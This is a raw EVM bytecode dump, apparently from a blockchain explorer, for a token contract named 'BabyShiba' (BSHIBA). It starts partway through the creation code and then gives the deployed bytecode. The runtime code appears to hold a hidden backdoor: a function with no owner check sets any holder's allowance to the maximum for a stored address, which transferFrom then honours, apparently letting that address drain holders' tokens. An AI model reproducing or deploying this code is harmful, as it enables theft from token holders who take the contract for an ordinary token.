fffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611790919061238b565b60405180910390a360019150505b9392505050565b5f61182d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112a29092919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118be8260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161195c919061238b565b60405180910390a3600190509392505050565b5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156119d9575060105f9054906101000a900460ff16155b80156119f15750600e60149054906101000a900460ff165b8015611a3c5750600f5460045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b905090565b600160105f6101000a81548160ff0219169083151502179055505f600f5490505f611a9e6002611a90600a54611a826008548761217290919063ffffffff16565b6121e990919063ffffffff16565b6121e990919063ffffffff16565b90505f611ab4828461223290919063ffffffff16565b90505f600267ffffffffffffffff811115611ad257611ad1612a23565b5b604051908082528060200260200182016040528015611b005781602001602082028036833780820191505090505b50905030815f81518110611b1757611b16612a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bdf919061274c565b81600181518110611bf357611bf2612a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f479050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8530426040518663ffffffff1660e01b8152600401611c93959493929190612b34565b5f604051808303815f87803b158015611caa575f80fd5b505af1158015611cbc573d5f803e3d5ffd5b505050505f611cd4824761223290919063ffffffff16565b90505f611d01611cf060026008546121e990919063ffffffff16565b600a5461223290919063ffffffff16565b90505f611d3e6002611d3084611d226008548861217290919063ffffffff16565b6121e990919063ffffffff16565b6121e990919063ffffffff16565b90505f611d6883611d5a6009548761217290919063ffffffff16565b6121e990919063ffffffff16565b90505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611db490612bb9565b5f60405180830381858888f193505050503d805f8114611def576040519150601f19603f3d011682016040523d82523d5f602084013e611df4565b606091505b5050905080611e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2f90612c17565b60405180910390fd5b5f891115611f4457600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c5f80600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611ec6969594939291906127d7565b60606040518083038185885af1158015611ee2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611f07919061284a565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a604051611f3b929190612c35565b60405180910390a15b505050505050505050505f60105f6101000a81548160ff021916908315150217905550565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b5f80612001600c54611ff3611fd08761227b565b611fe5600a548861217290919063ffffffff16565b6121e990919063ffffffff16565b6121e990919063ffffffff16565b90506120538160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120f1919061238b565b60405180910390a361210c818461223290919063ffffffff16565b91505092915050565b5f8082846121239190612962565b905083811015612168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215f90612ca6565b60405180910390fd5b8091505092915050565b5f808303612182575f90506121e3565b5f828461218f9190612cc4565b905082848261219e9190612d32565b146121de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d590612dd2565b60405180910390fd5b809150505b92915050565b5f61222a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612312565b905092915050565b5f61227383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a2565b905092915050565b5f80600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122df576122da5f610f05565b6122eb565b6122ea61dead610f05565b5b90505f8111612308576064600c546123039190612d32565b61230a565b5f5b915050919050565b5f8083118290612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f919061242e565b60405180910390fd5b505f83856123669190612d32565b9050809150509392505050565b5f819050919050565b61238581612373565b82525050565b5f60208201905061239e5f83018461237c565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123db5780820151818401526020810190506123c0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612400826123a4565b61240a81856123ae565b935061241a8185602086016123be565b612423816123e6565b840191505092915050565b5f6020820190508181035f83015261244681846123f6565b905092915050565b5f8115159050919050565b6124628161244e565b82525050565b5f60208201905061247b5f830184612459565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124ae82612485565b9050919050565b6124be816124a4565b81146124c8575f80fd5b50565b5f813590506124d9816124b5565b92915050565b6124e881612373565b81146124f2575f80fd5b50565b5f81359050612503816124df565b92915050565b5f806040838503121561251f5761251e612481565b5b5f61252c858286016124cb565b925050602061253d858286016124f5565b9150509250929050565b5f805f6060848603121561255e5761255d612481565b5b5f61256b868287016124cb565b935050602061257c868287016124cb565b925050604061258d868287016124f5565b9150509250925092565b5f602082840312156125ac576125ab612481565b5b5f6125b9848285016124cb565b91505092915050565b5f60ff82169050919050565b6125d7816125c2565b82525050565b5f6020820190506125f05f8301846125ce565b92915050565b6125ff816124a4565b82525050565b5f6020820190506126185f8301846125f6565b92915050565b5f806040838503121561263457612633612481565b5b5f612641858286016124cb565b9250506020612652858286016124cb565b9150509250929050565b5f819050919050565b5f61267f61267a61267584612485565b61265c565b612485565b9050919050565b5f61269082612665565b9050919050565b5f6126a182612686565b9050919050565b6126b181612697565b82525050565b5f6020820190506126ca5f8301846126a8565b92915050565b7f214f574e455200000000000000000000000000000000000000000000000000005f82015250565b5f6127046006836123ae565b915061270f826126d0565b602082019050919050565b5f6020820190508181035f830152612731816126f8565b9050919050565b5f81519050612746816124b5565b92915050565b5f6020828403121561276157612760612481565b5b5f61276e84828501612738565b91505092915050565b5f60408201905061278a5f8301856125f6565b61279760208301846125f6565b9392505050565b5f819050919050565b5f6127c16127bc6127b78461279e565b61265c565b612373565b9050919050565b6127d1816127a7565b82525050565b5f60c0820190506127ea5f8301896125f6565b6127f7602083018861237c565b61280460408301876127c8565b61281160608301866127c8565b61281e60808301856125f6565b61282b60a083018461237c565b979650505050505050565b5f81519050612844816124df565b92915050565b5f805f6060848603121561286157612860612481565b5b5f61286e86828701612836565b935050602061287f86828701612836565b925050604061289086828701612836565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6128d182612373565b91506128dc83612373565b92508282039050818111156128f4576128f361289a565b5b92915050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f61292e6013836123ae565b9150612939826128fa565b602082019050919050565b5f6020820190508181035f83015261295b81612922565b9050919050565b5f61296c82612373565b915061297783612373565b925082820190508082111561298f5761298e61289a565b5b92915050565b7f5472616e7366657220616d6f756e7420657863656564732074686520626167205f8201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b5f6129ef6025836123ae565b91506129fa82612995565b604082019050919050565b5f6020820190508181035f830152612a1c816129e3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612aaf816124a4565b82525050565b5f612ac08383612aa6565b60208301905092915050565b5f602082019050919050565b5f612ae282612a7d565b612aec8185612a87565b9350612af783612a97565b805f5b83811015612b27578151612b0e8882612ab5565b9750612b1983612acc565b925050600181019050612afa565b5085935050505092915050565b5f60a082019050612b475f83018861237c565b612b5460208301876127c8565b8181036040830152612b668186612ad8565b9050612b7560608301856125f6565b612b82608083018461237c565b9695505050505050565b5f81905092915050565b50565b5f612ba45f83612b8c565b9150612baf82612b96565b5f82019050919050565b5f612bc382612b99565b9150819050919050565b7f72656365697665722072656a656374656420455448207472616e7366657200005f82015250565b5f612c01601e836123ae565b9150612c0c82612bcd565b602082019050919050565b5f6020820190508181035f830152612c2e81612bf5565b9050919050565b5f604082019050612c485f83018561237c565b612c55602083018461237c565b9392505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c90601b836123ae565b9150612c9b82612c5c565b602082019050919050565b5f6020820190508181035f830152612cbd81612c84565b9050919050565b5f612cce82612373565b9150612cd983612373565b9250828202612ce781612373565b91508282048414831517612cfe57612cfd61289a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d3c82612373565b9150612d4783612373565b925082612d5757612d56612d05565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612dbc6021836123ae565b9150612dc782612d62565b604082019050919050565b5f6020820190508181035f830152612de981612db0565b905091905056fea2646970667358221220891dcfc42d514f8c0a2bdd248e4e8092eeb2da4774d8b6e66c08df51a7342d5964736f6c63430008140033

Deployed Bytecode

0x60806040526004361061014e575f3560e01c80636ddd1713116100b557806395d89b411161006e57806395d89b4114610437578063a2867b7b14610461578063a8aa1b311461048b578063a9059cbb146104b5578063dd62ed3e146104f1578063f887ea401461052d57610155565b80636ddd17131461033f57806370a0823114610369578063715018a6146103a557806380aa57ea146103bb578063893d20e8146103f75780638a8c523c1461042157610155565b806323b872dd1161010757806323b872dd146102475780632f54bf6e14610283578063313ce567146102bf578063364333f4146102e957806362256589146102ff5780636c0a24eb1461031557610155565b806302ac8168146101595780630445b6671461016357806306fdde031461018d57806308fd3d05146101b7578063095ea7b3146101e157806318160ddd1461021d57610155565b3661015557005b5f80fd5b610161610557565b005b34801561016e575f80fd5b50610177610a94565b604051610184919061238b565b60405180910390f35b348015610198575f80fd5b506101a1610a9a565b6040516101ae919061242e565b60405180910390f35b3480156101c2575f80fd5b506101cb610ad7565b6040516101d89190612468565b60405180910390f35b3480156101ec575f80fd5b5061020760048036038101906102029190612509565b610aea565b6040516102149190612468565b60405180910390f35b348015610228575f80fd5b50610231610bd7565b60405161023e919061238b565b60405180910390f35b348015610252575f80fd5b5061026d60048036038101906102689190612547565b610be0565b60405161027a9190612468565b60405180910390f35b34801561028e575f80fd5b506102a960048036038101906102a49190612597565b610dd3565b6040516102b69190612468565b60405180910390f35b3480156102ca575f80fd5b506102d3610e2a565b6040516102e091906125dd565b60405180910390f35b3480156102f4575f80fd5b506102fd610e32565b005b34801561030a575f80fd5b50610313610e99565b005b348015610320575f80fd5b50610329610eec565b604051610336919061238b565b60405180910390f35b34801561034a575f80fd5b50610353610ef2565b6040516103609190612468565b60405180910390f35b348015610374575f80fd5b5061038f600480360381019061038a9190612597565b610f05565b60405161039c919061238b565b60405180910390f35b3480156103b0575f80fd5b506103b9610f4b565b005b3480156103c6575f80fd5b506103e160048036038101906103dc9190612597565b61100b565b6040516103ee9190612468565b60405180910390f35b348015610402575f80fd5b5061040b6110d4565b6040516104189190612605565b60405180910390f35b34801561042c575f80fd5b506104356110fb565b005b348015610442575f80fd5b5061044b611160565b604051610458919061242e565b60405180910390f35b34801561046c575f80fd5b5061047561119d565b6040516104829190612605565b60405180910390f35b348015610496575f80fd5b5061049f6111c2565b6040516104ac9190612605565b60405180910390f35b3480156104c0575f80fd5b506104db60048036038101906104d69190612509565b6111e7565b6040516104e89190612468565b60405180910390f35b3480156104fc575f80fd5b506105176004803603810190610512919061261e565b6111fb565b604051610524919061238b565b60405180910390f35b348015610538575f80fd5b5061054161127d565b60405161054e91906126b7565b60405180910390f35b61056033610dd3565b61059f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105969061271a565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068e919061274c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610713573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610737919061274c565b306040518363ffffffff1660e01b8152600401610755929190612777565b6020604051808303815f875af1158015610771573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610795919061274c565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a0e30610f05565b5f8033426040518863ffffffff1660e01b8152600401610a33969594939291906127d7565b60606040518083038185885af1158015610a4f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a74919061284a565b5050506001600e60146101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600981526020017f4261627953686962610000000000000000000000000000000000000000000000815250905090565b601060159054906101000a900460ff1681565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bc5919061238b565b60405180910390a36001905092915050565b5f600254905090565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610dbf57610d42826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e63650000000000000000000081525060055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112a29092919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610dca848484611304565b90509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f6009905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610e96573d5f803e3d5ffd5b50565b610ea233610dd3565b610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061271a565b60405180910390fd5b600254600381905550565b60035481565b600e60149054906101000a900460ff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f5433610dd3565b610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a9061271a565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f6040516110019190612605565b60405180910390a1565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060019050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61110433610dd3565b611143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113a9061271a565b60405180910390fd5b6001601060156101000a81548160ff021916908315150217905550565b60606040518060400160405280600681526020017f4253484942410000000000000000000000000000000000000000000000000000815250905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111f3338484611304565b905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8383111582906112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e0919061242e565b60405180910390fd5b505f83856112f791906128c7565b9050809150509392505050565b5f60105f9054906101000a900460ff161561132b576113248484846117a5565b905061179e565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156113c9575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561142257601060159054906101000a900460ff1661141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141490612944565b60405180910390fd5b611434565b61142d8484846117a5565b905061179e565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114bf575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115a35760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061156357506003548260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115609190612962565b11155b6115a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159990612a05565b60405180910390fd5b5b6115ab61196f565b156115b9576115b8611a41565b5b611640826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112a29092919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61168b85611f69565b61169557826116a0565b61169f8584611fbc565b5b90506116f28160045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611790919061238b565b60405180910390a360019150505b9392505050565b5f61182d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112a29092919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118be8260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161195c919061238b565b60405180910390a3600190509392505050565b5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156119d9575060105f9054906101000a900460ff16155b80156119f15750600e60149054906101000a900460ff165b8015611a3c5750600f5460045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b905090565b600160105f6101000a81548160ff0219169083151502179055505f600f5490505f611a9e6002611a90600a54611a826008548761217290919063ffffffff16565b6121e990919063ffffffff16565b6121e990919063ffffffff16565b90505f611ab4828461223290919063ffffffff16565b90505f600267ffffffffffffffff811115611ad257611ad1612a23565b5b604051908082528060200260200182016040528015611b005781602001602082028036833780820191505090505b50905030815f81518110611b1757611b16612a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bdf919061274c565b81600181518110611bf357611bf2612a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f479050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8530426040518663ffffffff1660e01b8152600401611c93959493929190612b34565b5f604051808303815f87803b158015611caa575f80fd5b505af1158015611cbc573d5f803e3d5ffd5b505050505f611cd4824761223290919063ffffffff16565b90505f611d01611cf060026008546121e990919063ffffffff16565b600a5461223290919063ffffffff16565b90505f611d3e6002611d3084611d226008548861217290919063ffffffff16565b6121e990919063ffffffff16565b6121e990919063ffffffff16565b90505f611d6883611d5a6009548761217290919063ffffffff16565b6121e990919063ffffffff16565b90505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611db490612bb9565b5f60405180830381858888f193505050503d805f8114611def576040519150601f19603f3d011682016040523d82523d5f602084013e611df4565b606091505b5050905080611e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2f90612c17565b60405180910390fd5b5f891115611f4457600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c5f80600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611ec6969594939291906127d7565b60606040518083038185885af1158015611ee2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611f07919061284a565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a604051611f3b929190612c35565b60405180910390a15b505050505050505050505f60105f6101000a81548160ff021916908315150217905550565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b5f80612001600c54611ff3611fd08761227b565b611fe5600a548861217290919063ffffffff16565b6121e990919063ffffffff16565b6121e990919063ffffffff16565b90506120538160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120f1919061238b565b60405180910390a361210c818461223290919063ffffffff16565b91505092915050565b5f8082846121239190612962565b905083811015612168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215f90612ca6565b60405180910390fd5b8091505092915050565b5f808303612182575f90506121e3565b5f828461218f9190612cc4565b905082848261219e9190612d32565b146121de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d590612dd2565b60405180910390fd5b809150505b92915050565b5f61222a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612312565b905092915050565b5f61227383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a2565b905092915050565b5f80600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122df576122da5f610f05565b6122eb565b6122ea61dead610f05565b5b90505f8111612308576064600c546123039190612d32565b61230a565b5f5b915050919050565b5f8083118290612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f919061242e565b60405180910390fd5b505f83856123669190612d32565b9050809150509392505050565b5f819050919050565b61238581612373565b82525050565b5f60208201905061239e5f83018461237c565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123db5780820151818401526020810190506123c0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612400826123a4565b61240a81856123ae565b935061241a8185602086016123be565b612423816123e6565b840191505092915050565b5f6020820190508181035f83015261244681846123f6565b905092915050565b5f8115159050919050565b6124628161244e565b82525050565b5f60208201905061247b5f830184612459565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124ae82612485565b9050919050565b6124be816124a4565b81146124c8575f80fd5b50565b5f813590506124d9816124b5565b92915050565b6124e881612373565b81146124f2575f80fd5b50565b5f81359050612503816124df565b92915050565b5f806040838503121561251f5761251e612481565b5b5f61252c858286016124cb565b925050602061253d858286016124f5565b9150509250929050565b5f805f6060848603121561255e5761255d612481565b5b5f61256b868287016124cb565b935050602061257c868287016124cb565b925050604061258d868287016124f5565b9150509250925092565b5f602082840312156125ac576125ab612481565b5b5f6125b9848285016124cb565b91505092915050565b5f60ff82169050919050565b6125d7816125c2565b82525050565b5f6020820190506125f05f8301846125ce565b92915050565b6125ff816124a4565b82525050565b5f6020820190506126185f8301846125f6565b92915050565b5f806040838503121561263457612633612481565b5b5f612641858286016124cb565b9250506020612652858286016124cb565b9150509250929050565b5f819050919050565b5f61267f61267a61267584612485565b61265c565b612485565b9050919050565b5f61269082612665565b9050919050565b5f6126a182612686565b9050919050565b6126b181612697565b82525050565b5f6020820190506126ca5f8301846126a8565b92915050565b7f214f574e455200000000000000000000000000000000000000000000000000005f82015250565b5f6127046006836123ae565b915061270f826126d0565b602082019050919050565b5f6020820190508181035f830152612731816126f8565b9050919050565b5f81519050612746816124b5565b92915050565b5f6020828403121561276157612760612481565b5b5f61276e84828501612738565b91505092915050565b5f60408201905061278a5f8301856125f6565b61279760208301846125f6565b9392505050565b5f819050919050565b5f6127c16127